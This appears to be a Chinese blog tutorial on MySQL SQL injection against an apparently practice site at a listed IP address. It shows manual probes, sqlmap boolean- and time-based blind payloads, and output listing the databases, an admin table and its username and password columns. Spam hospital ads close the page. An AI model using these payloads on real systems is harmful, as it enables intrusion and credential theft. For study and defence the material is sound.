MySQL-SQL 注入实战

判断是否存在注入:

方法1:单引号测试,判断是否会出现数据库报错;

页面http://117.41.229.122:8003/?id=1正常,通过输入单引号测试,页面正常跳转,说明应该做了字符过滤。

正常页面:

输入单引号测试页面:

方法2:输入order by 1 测试,页面返回正常,未发现异常页面。

方法3:构造语句?id=1 or 1=1,页面返回正常,很明显页面做了安全过滤。

方法4:构造语句?id 1 or sleep(5),页面返回异常(页面休眠时间和构造语句接近),判读存在SQL时间盲注

发现注入点二话不说用sqlmap跑一下,结果发现id 1存在注入点(存在布尔盲注和时间盲注):

注入payload为:

Parameter:id (GET)

Type: boolean-based blind

Title: AND boolean-based blind - WHERE orHAVING clause

Payload: id=1 AND 4281=4281

Type: AND/OR time-based blind

Title: MySQL >= 5.0.12 AND time-basedblind

Payload: id=1 AND SLEEP(5)

跑出来服务器系统类型为windows,PHP版本信息为5.4.45,Apache版本为2.4.23,MySql版本为?>=5.0.12,查询出来3个数据库。

webserver operating system: Windows

webapplication technology: PHP 5.4.45, Apache 2.4.23

back-endDBMS: MySQL >= 5.0.12

availabledatabases [3]:

[*]information_schema

[*]maoshe

[*] test

选择其中的一个数据库maoshe继续查找数据库中的数据表名,发现了4张表,其中一张表名为admin表

Database:maoshe

[4 tables]

±------+

| admin|

|dirs |

|news |

|xss |

±------+

根据跑出来的数据表继续跑表里面的字段名,跑出来的字段名中包含username和password字段

Database:maoshe

Table:admin

[3columns]

±---------±------------+

|Column | Type |

±---------±------------+

|Id | int(11) |

|password | varchar(11) |

|username | varchar(11) |

±---------±------------+

根据username和password字段继续查看具体的字段内容,并把字段内容下载下来

漏洞测试到此为止,已经成功根据注入点获取了数据库,数据表,字段以及具体的字段内容。

  大连阳痿医院哪家好 mobile.84211111.net

  大连正规妇科医院 mobile.dlfkyy.cn

猜你喜欢

转载自blog.csdn.net/qq_42894764/article/details/92831787
今日推荐